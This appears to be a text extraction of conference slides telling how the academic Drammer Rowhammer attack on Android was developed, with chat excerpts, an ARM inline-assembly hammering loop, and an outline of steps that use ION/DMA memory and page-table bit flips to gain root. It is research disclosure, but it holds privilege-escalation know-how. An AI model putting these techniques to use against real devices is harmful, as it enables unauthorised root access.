Drammer: The Making-Of

Victor van der Veen

@vvdveen
Drammer
Rooting Android phones with Rowhammer

Why should we care about the making-of?

• Insight in the ‘academic’ thought process
• Interesting new Rowhammer techniques
• Negative results are also results
• Fun!

Disclaimer

• This presentation will be technical
• This presentation will be about me
• This presentation contains strong language!
A Little Background

> whoami

PhD candidate in VUSec.net – check it out!

- Funded by Dutch-American Cooperative Research Project
- Collaboration with University California, Santa Barbara

- About: Android Malware
- Started in June 2014

Important dates in 2016
- February 18: Deadline USENIX Security
- February 24: Android at Financial Crypto (Barbados)
- May 21: TypeArmor at Security & Privacy (San Jose)
- May 23: Deadline CCS
- March – May: Project on Android Malware @ UCSB
PART 1. PRELUDE
< February 18
USENIX Security Paper Deadline

Me
• In-Depth Analysis of Disassembly on x86/64 Binaries
• Hotel, flight, housing reservations for Barbados + SB
• Watching Kaveh and Ben

Kaveh and Ben
• Breaking the Internet with Flip Feng Shui
• Cross-VM Exploitation with Rowhammer + Memory Deduplication
Rowhammer
A DRAM hardware glitch

Memory cells (capacitors) have a natural discharge rate refresh every 64ms

Activating neighboring cells increases the discharge rate

Rowhammer
• Victim cell is charged to represent 1
• Neighboring cells are accessed frequently
• Victim cell leaks charge below a certain threshold
• When read, victim cell is interpreted 0

Disturbance error!
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer

![Diagram of Single-Sided Rowhammer]
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
### Rowhammer

**A DRAM hardware glitch**

### Single-Sided Rowhammer

<p>| | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer
Rowhammer
A DRAM hardware glitch

Single-Sided Rowhammer

- Not every bit may flip
- Once a bit flips, we can often reproduce it
Rowhammer
A DRAM hardware glitch

Single-Sided vs Double-Sided Rowhammer

- Sandwich the victim row by alternating accesses
- Increased chance of flipping a bit
- Harder requirements
Rowhammer
A DRAM hardware glitch

Challenges for an attacker

1. Bypass the CPU Cache
2. Select the Aggressor Rows (for double-sided Rowhammer)
Bypass the CPU cache

- DRAM accesses are slow
- CPU caches data for fast access
- To Rowhammer, we must read many times from DRAM
Bypass the CPU cache

Solution: cache flush
Tell the CPU to remove data from the cache

Solution: cache eviction
Read more data until the cache is full
Select the Aggressor Rows

- DRAM works with **physical memory addresses**
- Software works with **virtual addresses**
- Unpredictable mapping of virtual to physical addresses

```
buf = malloc(...)
```

```
<table>
<thead>
<tr>
<th>Physical Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xbff00000</td>
</tr>
<tr>
<td>0xbff40000</td>
</tr>
<tr>
<td>0xbff80000</td>
</tr>
<tr>
<td>0xbfffc0000</td>
</tr>
<tr>
<td>0xc00000000</td>
</tr>
</tbody>
</table>
```

```
<table>
<thead>
<tr>
<th>Virtual Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x040000</td>
</tr>
<tr>
<td>0x080000</td>
</tr>
<tr>
<td>0x0c0000</td>
</tr>
<tr>
<td>0x100000</td>
</tr>
<tr>
<td>0x140000</td>
</tr>
</tbody>
</table>
```
Select the Aggressor Rows

- DRAM works with **physical memory addresses**
- Software works with **virtual addresses**
- Unpredictable mapping of virtual to physical addresses
- How do we select the addresses to read from?

```c
buf = malloc(...)
```

- **0xbff00000**
- **0xbff40000**
- **0xbff80000**
- **0xbfffc0000**
- **0xc0000000**
Select the Aggressor Rows

Solution: single sided Rowhammer
Pick any two addresses and ‘just’ hammer
• Less interference between rows, so less bit flips
• Still good enough with buggy DRAM

buf = malloc(…)

```
0xbff00000
0xbff40000
0xbff80000
0xbfffc0000
0xc0000000
```

```
0x040000
0x080000
0x0c0000
0x100000
0x140000
```

```
1 1 1 1 1 ...
1 0 1 1 1 ...
1 0 1 1 0 ...
1 1 0 1 1 ...
0 0 1 0 1 ...
```
Select the Aggressor Rows

Solution: pagemap
Special file that holds the mapping of virtual to physical addresses

```
buf = malloc(...)
```

```
/proc/self/pagemap
```
Select the Aggressor Rows

Solution: pagemap
Special file that holds the mapping of virtual to physical addresses

Solution: huge pages
Virtual allocations mapped to **physically contiguous** memory
Rowhammer Exploitation

1. Memory templating
   Scan memory for useful bit flips

2. Land sensitive data
   Store sensitive data on a vulnerable location

3. Reproduce the bit flip
   Modify the sensitive data to compromise the system

Flip Feng Shui
Me

- Watching Kaveh and Ben
Hammering a Needle in the Software Stack

Breaking the cloud: victim and attacker share hardware

- Attacker has access to the same physical memory as the victim
- Use cache flush to Rowhammer
- Use huge pages to select aggressor rows

1. Public RSA key from `.ssh/authorized_keys`
   - Flipping a bit changes the public/private key pair
   - New public key is easy to factorize
   - Attacker computes the new private key and gets SSH access

2. Domain name used for `apt-get upgrade`
   - Flipping a bit changes the domain name used to pull updates
   - Attacker hosts malicious `ls` command at `ubunvu.com`
PART 2. DRAMMER

Victor van der Veen, Yanick Fratantonio, Martina Lindorfer, Giovani Vigna, Herbert Bos, Kaveh Razavi, and Cristiano Giuffrida
Me @ February 13, 2016 12:01 AM
Can you do rowhammer on Android?

Kaveh @ February 13, 2016 10:23 AM
depends on the memory speed of android we should do some testing
A Quick Google Search

March 2015
Dan Kaminsky @ Twitter

*Does ARM have something like CLFLUSH?*

Alex Ionescu

*yes but it's a privileged instruction because ARM are not idiots*

Halvar Flake

*there are also questions about memory controller speed*

October 2014
bugs.chromium.org | Issue 3970

*Security: rowhammer -- other instructions than clflush*

... 

Also consulting with ARM gurus and looking at ARM SWB, LDREX/STREX/CLREX, and MIPS LL/SC would be a good idea -- please split off into arch-specific issues upon which this one is blocked.
Me @ February 16, 2016
Hey Yanick, Martina,

Some people in our group are doing awesome rowhammer stuff which got me thinking: can we do rowhammer on Android/iPhone devices? I know that the original plan was to do [...], but maybe the rowhammer stuff is worth investigating.

UCSB People

Yanick @ February 22, 2016
I like the rowhammer idea, and I have no idea why people aren't working on that. We should definitively look into that!
Feb 20 – Feb 29
Barbados!
March 1
Arrival at Santa Barbara
March 1–March 18

Bootstrap

TypeArmor

- Control-Flow Integrity for forward-edge (indirect calls)
- ‘Camera-Ready’ deadline: March 18
- (open source now: https://github.com/vusec/)
- Submitted: March 19, 0:16

Meanwhile

- March 10:
  - Let's boot a custom Android kernel!
  - + LKM support
  - Idea: hammer from a kernel module first

May 1

Now what?

March 11

Stream

March 18

S&P

March 23

LKM

March 24

meh.cc

March 25

Hammer, Debug

March 26

Bit flips!

< April 26

'Research'

May 23

Paper Deadline
March 10
LKM support

March 11

Benchmarking DRAM Bandwidth

Kaveh

can you run stream first
I am curious

Me
stream?

https://www.cs.virginia.edu/stream/

The STREAM benchmark is a simple synthetic benchmark program that measures sustainable memory bandwidth

Interesting
is there an arm binary?
ok let me try to compile this stuff

March 18
S&P

March 23

March 24
LKM

March 25
meh.cc

March 26
Hammer, Debug

Bit flips!

< April 26
'Research'

May 23
Paper Deadline
March 11

Benchmarking DRAM Bandwidth

STREAM version $Revision: 5.10$

<table>
<thead>
<tr>
<th>Function</th>
<th>Best Rate MB/s</th>
<th>Avg time</th>
<th>Min time</th>
<th>Max time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Copy:</td>
<td>2451.3</td>
<td>0.065678</td>
<td>0.065272</td>
<td>0.066012</td>
</tr>
<tr>
<td>Scale:</td>
<td>977.4</td>
<td>0.169647</td>
<td>0.163703</td>
<td>0.181616</td>
</tr>
<tr>
<td>Add:</td>
<td>1008.1</td>
<td>0.241606</td>
<td>0.238082</td>
<td>0.243485</td>
</tr>
<tr>
<td>Triad:</td>
<td>624.7</td>
<td>0.396072</td>
<td>0.384161</td>
<td>0.419778</td>
</tr>
</tbody>
</table>

Solution Validates: avg error less than $1.000000e-13$ on all three arrays

argh
not good
2 GB/s may be enough for rowhammering though
not ideal
but still possible
2 million ops per second is ideal
right now it says 0.5 million

May 23
Paper Deadline
March 23

Kernel Module

obligatory showoff:

```asm
asm volatile(
    "mov r3, %0;"      // r3 = loopcount
    "mov r4, %1;"      // r4 = f
    "mov r5, %2;"      // r5 = s
    "loop:
      ldr r2, [r4];"
    "ldr r2, [r5];"
    "mcr p15, 0, r4, c7, c6, 1;"
    "mcr p15, 0, r5, c7, c6, 1;"
    "subs r3, r3, #1;"
    "bcs loop;"
    :
    : "r" (loopcount), "r" (f32), "r" (s32)
    : "r2", "r3", "r4", "r5");
```

got a working android kernel module that can hammer two addresses

cache flushing seems to work

I will look tomorrow at porting meh.cc
A piece of art: meh.cc

Resurrected piece of crap from the remainders of ffs

- Based on RowhammerJS, which was based on Project Zero code
- Let’s port it to Android/ARM

meeting is in 6 hours

if the meeting is in 6 hours, you still have 6 hours to port your code to ARM

can you show me a sample to talk to the kernel module?

[ me explaining how my build system works ]

so when I wake up
there will be bit flips?

haha I doubt but at least we can try

[!] Hammering rows 256/0/257 of 0 (got 258/0/8091 pages)

this is wrong

ok it is more work than I thought

you can go to sleep

May 23
Paper Deadline
got ret: 0
what does that mean?

it returns the number of cycles it took to do the hammering

it sometimes returns 0
i don't know why
but it also sometimes returned a larger value

This is scary research
Maybe we find no bitflips
Because we fucked something up
Or
Were we unlucky?
Or
The controller is really too slow
Too many scenarios that can go wrong
closing my laptop
let me know what happens

Not good
this stuff is super weird

00000338 <ha_loop>:
  338:   e2533001  subs   r3, r3, #1
  33c:   ee093f1d  mcr 15, 0, r3, cr9, cr13, {0}
  340:   e5863028  str r3, [r6, #40]  ; 0x28

this is writing 98
but the mcr instructions
should get the cycle count
Into r3
what the fuck is this shit
March 24

Why I Don’t Really Like ARM

ok
are you still awake?
FUCK ARM
really
you have this instruction
\texttt{mcr}
that does some shit with the coprocessor
you also have
another instruction
that does also shit with a coprocessor
and this instruction is
\texttt{mrc}
see the difference?
one is reading, the other one is writing

I thought ARM's instruction set is supposed to be much nicer than x86's
March 24

Hammer

i should sleep
i'll have a look later
it's running
we probably won't see anything
blegh

tomorrow kiddo
we will get flips tomorrow
just let it run overnight
March 25

Debug, Hammer, Debug

Me @ 4:10 PM
No flips

Me @ 7:47 PM
Still no flips
I don't trust it

Me @ 11:29 PM
No bitflips

Patience
this stuff takes time to get right
if it would have been easy, people had reported it already
March 25

E-Mail From The Bos

Just adding Victor to this list. As mentioned, Victor is currently at UCSB, desperately trying to flip bits on ARM. **He is not allowed to go surfing until he gets a flip.**

– HJB
Dude
DUDE

no this is wrong

[!] Found 1. flip (0x0 != 0xFF) in row 254 (0) when hammering 864 ((nil))... index: 281615151

must be wrong

0 does not look like a rowhammer bit flip but the code that prints could be broken on arm

[!] Hammering rows 2146/2147/2148 of 16183 (got 32/32/32 pages)
251 251 272 531 251 251 251 252 251 256 251 255

[!] Hammering rows 2147/2148/2149 of 16183 (got 32/32/32 pages)
251 257 343 251 256 251 477 251 256 251 251 251

[!] Found 1. flip (0x0 != 0xFF) in row 254 (0) when hammering 864 ((nil))... index: 281615151

this is weird
in row 254
but it just said that it was hammering rows 2147/2148/2149
so what do you think?

I was pooping
March 26

Flipping Bits On The Beach

It is weird
this is probably a casting issue
and big endian shit
and 64bit code on 32 bit

I don't care
is it a bitflip?
or not
or likely?

[ retrying ]

LKM support
March 10

Stream
March 11

S&P
March 18

LKM
March 23

meh.cc
March 24

Hammer, Debug
March 25

May 1

Now what?
March 11

Stream
March 18

S&P
March 23

LKM
March 24

meh.cc
March 25

Hammer, Debug
March 26

Paper Deadline
May 23
> Just adding Victor to this list. As mentioned, Victor is currently at UCSB, desperately trying to flip bits on ARM. He is not allowed to go surfing until he gets a flip.

[!] Found 1. flip (0xFE != 0xFF) in row 2147 index: 2863

I go to the beach now.
- Flipping bits from a LKM is a bit useless
- Next goal: flip bits as root, without LKM

Process Report

1. Figure out the rowsize (for double-sided Rowhammer)
2. Fixes and updates to meh.cc
3. Found bit flips on my own phone (Moto G1)
4. Hammer a 64-bit ARMv8 device: user-space cache flush
5. Hammer using multiple cores
6. Playing with memory fences
7. Playing with ARM performance counters
8. Got a parking ticket

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
‘Research’

NEXT:
SIDECHANNELS

May 23
Paper Deadline
anyway Ben is also looking at flushing the cache you guys should work together maybe but he is only doing it for the purpose of making some cash he had an idea using the cache flush syscall that might actually work oh? i also want to make some cash
The cacheflush System Call

> man cacheflush

NAME
cacheflush - flush contents of instruction and/or data cache

SYNOPSIS
#include <asm/cachectl.h>
int cacheflush(char *addr, int nbytes, int cache);

DESCRIPTION
cacheflush() flushes the contents of the indicated cache(s) for
the user addresses in the range addr to (addr+nbytes-1).
The cacheflush System Call

> man cacheflush

**NAME**
cacheflush – flush contents of instruction and/or data cache

**Idea**
- Use cacheflush system call to flush caches from user space

**However..**
- Switching context to the kernel is expensive
- Flushing after each single read will be too slow
- But what if we can flush after $n$ reads?
Pointer Chasing

Only pay once every $n$ accesses for kernel overhead

But does it blend scale?

```c
loop:
    read row 1, offset 0
    read row 3, offset 0
    read row 1, offset 64 (one cache line away)
    read row 3, offset 64
    read row 1, offset 128 (two cache lines ...)
    read row 3, offset
    cacheflush();
    jmp to loop
```
Pointer Chasing

Bit flips!
- When using our own `cacheflush` system call implementation

No bit flips
- When using the existing `cacheflush` mechanisms

RTM

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
‘Research’

May 23
Paper Deadline
The cacheflush System Call

> man cacheflush

NAME
cacheflush — flush contents of instruction and/or data cache

SYNOPSIS
#include <asm/cachectl.h>
int cacheflush(char *addr, int nbytes, int cache);

DESCRIPTION
cacheflush() flushes the contents of the indicated cache(s) for the user addresses in the range addr to (addr+nbytes-1).

cache may be one of:
  ICACHE Flush the instruction cache.
  DCACHE Write back to memory and invalidate the affected valid cache lines.
  BCACHE Same as (ICACHE|DCACHE).

What is this? No flush?
Can we use this?
Flipping Bits By Executing Code

cacheflush();

DRAM

CPU ICache

CPU DCache
Flipping Bits By Executing Code

Bit flips!
- When using our own `cacheflush` system call implementation
- We are flipping bits by executing code!
- ROP: Rowhammer Oriented Programming

No bit flips
- When using the existing `cacheflush` mechanisms
- Maybe `cacheflush` is bloated, adding too much overhead?

RTFM (and code)
## Cache Maintenance Operations

*(page 1496 of the ARMv7-A manual)*

<table>
<thead>
<tr>
<th>Name</th>
<th>CRn</th>
<th>opc1</th>
<th>CRm</th>
<th>opc2</th>
<th>Description</th>
<th>Limits</th>
</tr>
</thead>
<tbody>
<tr>
<td>DCCIMVAC</td>
<td>c7</td>
<td>0</td>
<td>c14</td>
<td>1</td>
<td>Data cache clean and invalidate by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCCISW</td>
<td>c7</td>
<td>0</td>
<td>c14</td>
<td>2</td>
<td>Data cache clean and invalidate by set/way</td>
<td>-</td>
</tr>
<tr>
<td>DCCMVAC</td>
<td>c7</td>
<td>0</td>
<td>c10</td>
<td>1</td>
<td>Data cache clean by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCCMVAU</td>
<td>c7</td>
<td>0</td>
<td>c11</td>
<td>1</td>
<td>Data cache clean by MVA</td>
<td>PoU</td>
</tr>
<tr>
<td>DCCSW</td>
<td>c7</td>
<td>0</td>
<td>c10</td>
<td>2</td>
<td>Data cache clean by set/way</td>
<td>-</td>
</tr>
<tr>
<td>DCIMVAC</td>
<td>c7</td>
<td>0</td>
<td>c6</td>
<td>1</td>
<td>Data cache invalidate by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCISW</td>
<td>c7</td>
<td>0</td>
<td>c6</td>
<td>2</td>
<td>Data cache invalidate by set/way</td>
<td>-</td>
</tr>
<tr>
<td>ICIALLU</td>
<td>c7</td>
<td>0</td>
<td>c5</td>
<td>0</td>
<td>Instruction cache invalidate all</td>
<td>PoU</td>
</tr>
<tr>
<td>ICIALLUIS</td>
<td>c7</td>
<td>0</td>
<td>c1</td>
<td>0</td>
<td>Instruction cache invalidate all</td>
<td>PoU, IS</td>
</tr>
<tr>
<td>ICIMVAU</td>
<td>c7</td>
<td>0</td>
<td>c5</td>
<td>1</td>
<td>Instruction cache invalidate by MVA</td>
<td>PoU</td>
</tr>
</tbody>
</table>

**mcr p15, 0, r4, c7, c6, 1**

Send command to ‘coprocessor’ 15

MVA (address to flush)
Tracing cacheflush

- The `cacheflush` syscall is in `/arch/arm/kernel/traps.c`
- Calls `do_cache_op()`
- Calls `flush_cache_user_range()`
- This is actually `__cpuc_coherent_user_range()`
- Implemented in `/arch/arm/mm/cache-v7.S`

ENTRY(v7_coherent_user_range)
1: mcr p15, 0, r12, c7, c11, 1 @ clean D line to the point of unification
   add r12, r12, r2
   cmp r12, r1
   blo 1b
   ...
2: mcr p15, 0, r12, c7, c5, 1 @ invalidate I line
   add r12, r12, r2
   cmp r12, r1
   blo 2b
   ...
# Cache Maintenance Operations

(page 1496 of the ARMv7-A manual)

<table>
<thead>
<tr>
<th>Name</th>
<th>CRn</th>
<th>opc1</th>
<th>CRm</th>
<th>opc2</th>
<th>Description</th>
<th>Limits</th>
</tr>
</thead>
<tbody>
<tr>
<td>DCCIMVAC</td>
<td>c7</td>
<td>0</td>
<td>c14</td>
<td>1</td>
<td>Data cache clean and invalidate by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCCISW</td>
<td>c7</td>
<td>0</td>
<td>c14</td>
<td>2</td>
<td>Data cache clean and invalidate by set/way</td>
<td>-</td>
</tr>
<tr>
<td>DCCMVAC</td>
<td>c7</td>
<td>0</td>
<td>c10</td>
<td>1</td>
<td>Data cache clean by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCCMVAU</td>
<td>c7</td>
<td>0</td>
<td>c11</td>
<td>1</td>
<td>Data cache clean by MVA</td>
<td>PoU</td>
</tr>
<tr>
<td>DCCCSW</td>
<td>c7</td>
<td>0</td>
<td>c10</td>
<td>2</td>
<td>Data cache clean by set/way</td>
<td>-</td>
</tr>
<tr>
<td>DCIMVAC</td>
<td>c7</td>
<td>0</td>
<td>c6</td>
<td>1</td>
<td>Data cache invalidate by MVA</td>
<td>PoC</td>
</tr>
<tr>
<td>DCISW</td>
<td>c7</td>
<td>0</td>
<td>c6</td>
<td>2</td>
<td>Data cache invalidate by set/way</td>
<td>-</td>
</tr>
<tr>
<td>ICIALLU</td>
<td>c7</td>
<td>0</td>
<td>c5</td>
<td>0</td>
<td>Instruction cache invalidate all</td>
<td>PoU</td>
</tr>
<tr>
<td>ICIALLUIS</td>
<td>c7</td>
<td>0</td>
<td>c1</td>
<td>0</td>
<td>Instruction cache invalidate all</td>
<td>PoU, IS</td>
</tr>
<tr>
<td>ICIMVAU</td>
<td>c7</td>
<td>0</td>
<td>c5</td>
<td>1</td>
<td>Instruction cache invalidate by MVA</td>
<td>PoU</td>
</tr>
</tbody>
</table>

1: mcr p15, 0, r12, c7, c11, 1
2: mcr p15, 0, r12, c7, c5, 1
ARM

Point of Coherence (PoC)
The PoC is the point at which all observers are guaranteed to see the same copy of a memory location. **Typically, this is the main external system memory.**

Point of Unification (PoU)
The PoU for a core is the point at which the caches of the core are guaranteed to see the same copy of a memory location. **For example, a unified level 2 cache would be the point of unification** in a system with Harvard level 1 caches.
PoU VS PoC

Core 0

Core 1

Core 2

Core 3

LEVEL 1 CACHES

SHARED L2 CACHE

DRAM
Invalidate to PoU

Core 0 → Core 1

LEVEL 1 CACHES

Core 1

SHARED L2 CACHE

Core 2

Core 3

DRAM
Invalidate to PoC

Core 0

Core 1

Core 2

Core 3

LEVEL 1 CACHES

SHARED L2 CACHE

DRAM
Hi all,

Some bad news: we've tried everything (pointer chasing, executing, and even writing) and it all gives flips, but only if we use our own flush instructions from the kernel.

... What's left is 1) cache eviction sets, or 2) DMA. I am looking at 1, but it doesn't look good neither.

We're almost at the point where we should hope to not get bitflips in userspace anymore and then write a paper about why johnny cannot flip bits on ARM.
What could be interesting is Android ION. As far as I understand Android tried to unify hardware specific libraries and uses it to provide large physically contiguous buffers to stuff like cameras which you can allocate from userspace. Apparently those buffers can also have their own caching policies.

Can you see if it’s available on your test phones by looking up if /dev/ion exists?...

Me

```
root@hammerhead:/dev # ls -l | grep ion
crw-rw-r-- system system 10, 95 1970-04-15 15:05 ion
```

This sounds interesting indeed.
Memory templating
Bypass the CPU cache

Sometimes CPU caches are detrimental

Offload specific tasks to dedicated hardware
- Devices for graphics / audio / …
- CPU gets to do other tasks in parallel
- DMA: Direct Memory Access

Offload specific tasks to dedicated hardware
- Devices for graphics / audio / …
- CPU gets to do other tasks in parallel
- DMA: Direct Memory Access
Memory templating
Select the aggressor rows

Dedicated hardware devices might be *stupid*
- Simple devices cannot translate virtual to physical mappings
- Shared memory must be *contiguous*

DMA can behave very much like *Huge Pages*

```c
buf = gralloc(...)  
0xbff00000  
0xbff40000  
0xbff80000  
0xbfffc0000  
0xc0000000  
```

```
0x040000  
1 1 0 1 1 ...  
0x080000  
0x100000  
0x0c0000  
0x140000  
```
Dude
this android ion shit
that is where we can find flips
in user space

Seriously
If we find flips in ion
We're fucked
Because I am also going to LA
And travel to SF
And have to make a presentation
And do whale watching
And all that shit
April 29, one hour later

ION

Dude
DUDE

flips at different physical addresses: 3)
Continuing w/: 12226/12228: 69/69
[!] Found 1 to 0 flip (0xff != 0xfd) in physical address 0x2fc3e125

What with the eviction strategy?

What

Finally

is this with the eviction strategy?
what is this

No

DMA

< April 26
‘Research’

May 23
Paper Deadline
A certain Prof. from UCSB

*Ok, so you found the right library. Congratulations.*

What can we do so far?

- We can flip bits on ARM
- We can analyze a bunch phones
- We can port the Google Project Zero exploit

This is merely a port, we need a better exploit

- No memory deduplication
- Cristiano had a plan to do deterministic exploitation

A VU meeting was scheduled...
Dude you are screwed
we came up with a possible attack using ION
but Erik was involved so you can imagine how complicated it got

O shit
No man
I'm out
If Erik is in Then it's over for me I can't compete

Nah man
Fuck this
I am out
I am gonna get a corona

O shit

Now what?

May 1
May 3

VU meeting

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
'Research'

April 29
Userspace flips!

May 23
Paper Deadline
May 3rd

Your next few weeks

(Paper Deadline: May 23)
After Skype

1. Exhaust all 4MB con
2. Exhaust all 6MB/4KB cony by try 317
   471
   all being 16/8
3. Temp in all 3MB to free flip
4. Dealloc the inten
   try 3MB → no OOM
5. 3MB/4KB → 64 allocation
6. Dealloc 64KB this is vulnerable
   how many free mem?
   Dealloc all 3MB
   - Alloc get page tabus
   - Alloc free mem
7. RH
**Land sensitive data**

**Threat-Model**
- Recent Android OS without memory deduplication (too costly)
- Unprivileged app wants to get root access

**Goal: read/write access to anywhere in memory**
- Find administrative kernel data structures for our process
- Overwrite our own uid to get root access

**Approach**
1. Land a Page Table at the vulnerable location
2. Flip a bit in a Page Table Entry!
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, “Hello World”);

Virtual Address  | Physical Address  | (binary)
-----------------|-------------------|------------------
0xb6a57000       | 0x140000          | 0b10100000000000000000000000000000
0xb6a58000       | 0x0c0000          | 0b01100000000000000000000000000000

Where are page tables stored? In memory!
Land sensitive data

Mapping virtual addresses to physical addresses

Page table

<table>
<thead>
<tr>
<th>Virtual Address</th>
<th>Physical Address</th>
<th>(binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xb6a57000</td>
<td>0x140000</td>
<td>0b10100000000000000000000000000000</td>
</tr>
<tr>
<td>0xb6a58000</td>
<td>0x0c0000</td>
<td>0b01100000000000000000000000000000</td>
</tr>
</tbody>
</table>

What if we flip a bit in a page table? Modify mappings!
Land sensitive data
Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, “Hello World”);

Virtual Address | Physical Address   | (binary)
----------------|-------------------|-------------------------------------
0xb6a57000      | 0x140000          | 0b10000000000000000000000000000000
0xb6a58000      | 0x0c0000          | 0b01100000000000000000000000000000

What if we flip a bit in a page table? Modify mappings!

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
‘Research’

April 29
Userspace flips!

May 1
Now what?

May 3
VU meeting

May 23
Paper Deadline
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, "Hello World");

Virtual Address | Physical Address | (binary)
---|---|---
0xb6a57000 | 0x100000 | 0b10000000000000000000000000000000
0xb6a58000 | 0x0c0000 | 0b01100000000000000000000000000000

What if we flip a bit in a page table? Modify mappings!

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
‘Research’

April 29
Userspace flips!

May 1
Now what?

May 3
VU meeting

May 23
Paper Deadline
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

```c
buf = malloc(8196);
sprintf(buf, "Hello World");
```

<table>
<thead>
<tr>
<th>Virtual Address</th>
<th>Physical Address</th>
<th>(binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xb6a57000</td>
<td>0x100000</td>
<td>0b10000000000000000000000000000000</td>
</tr>
<tr>
<td>0xb6a58000</td>
<td>0x0c0000</td>
<td>0b01100000000000000000000000000000</td>
</tr>
</tbody>
</table>

What if we flip a bit in a page table? Modify mappings!
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

```
buf = malloc(8196);
sprintf(buf, “Hello World”);
```

<table>
<thead>
<tr>
<th>Virtual Address</th>
<th>Physical Address</th>
<th>(binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xb6a57000</td>
<td>0x10000</td>
<td>0b1000000000000000000000000000000000000000000000000</td>
</tr>
<tr>
<td>0xb6a58000</td>
<td>0x0c000</td>
<td>0b0110000000000000000000000000000000000000000000000</td>
</tr>
</tbody>
</table>

Page tables give us read/write access to anywhere in memory
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, “Hello World”);

<table>
<thead>
<tr>
<th>Virtual Address</th>
<th>Physical Address</th>
<th>(binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xb6a57000</td>
<td>0x100000</td>
<td>0b100000000000000000000000</td>
</tr>
<tr>
<td>0xb6a58000</td>
<td>0x040000</td>
<td>0b001000000000000000000000</td>
</tr>
</tbody>
</table>

By modifying existing entries…
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, “Hello World”);

Virtual Address | Physical Address | (binary)
--- | --- | ---
0xb6a57000 | 0x100000 | 0b10000000000000000000000000000000
0xb6a58000 | 0x040000 | 0b00100000000000000000000000000000
0xb6a59000 | 0x080000 | 0b01000000000000000000000000000000

By modifying existing entries... or by adding new ones
Land sensitive data

Page tables

Mapping virtual addresses to physical addresses

buf = malloc(8196);
sprintf(buf, "Hello World");

Page table

<table>
<thead>
<tr>
<th>Virtual Address</th>
<th>Physical Address</th>
<th>(binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xb6a57000</td>
<td>0x100000</td>
<td>0b100000000000000000000</td>
</tr>
<tr>
<td>0xb6a58000</td>
<td>0x040000</td>
<td>0b001000000000000000000</td>
</tr>
<tr>
<td>0xb6a59000</td>
<td>0x080000</td>
<td>0b010000000000000000000</td>
</tr>
</tbody>
</table>

By modifying existing entries... or by adding new ones
Initial State
1a. Exhaust Large Chunks
1b. Find a Bit Flip
2. Exhaust Rows
3. Release Vulnerable Chunk
4. Exhaust Rows (again)
5a. Release Vulnerable Row
5b. Release Large Chunks
6. Allocate Pages
6. Allocate Pages until we hit the vulnerable row
7. Padding
8. Map a Page Table
May 13

Chat with Cristiano

but I still don't get how we can determine when the vulnerable region is used for page tables
I think that is the last missing piece

so what do you mean?
Chat with Cristiano

but I still don't get how we can determine when the vulnerable region is used for page tables
I think that is the last missing piece

so what do you mean?

[ me explaining my personal issues for a few minutes ]

super cool
another thing
are you around tomorrow?
I could drive to SB
and we can look at this
May 17 – May 23
Evaluation

March 10
LKM support

March 11
Stream

March 18
S&P

March 23
LKM

March 24
meh.cc

March 25
Hammer, Debug

March 26
Bit flips!

< April 26
‘Research’

April 29
Userspace flips!

May 1
Now what?

May 3
VU meeting

< May 16
Building blocks

May 16
CRI @ UCSB

May 17 - 23
Evaluation

May 23
Paper Deadline
## Evaluation

<table>
<thead>
<tr>
<th>Device</th>
<th>#flips</th>
<th>1st exploitable flip after</th>
</tr>
</thead>
<tbody>
<tr>
<td>LG Nexus 5(^1)</td>
<td>1058</td>
<td>116s</td>
</tr>
<tr>
<td>LG Nexus 5(^4)</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>LG Nexus 5(^5)</td>
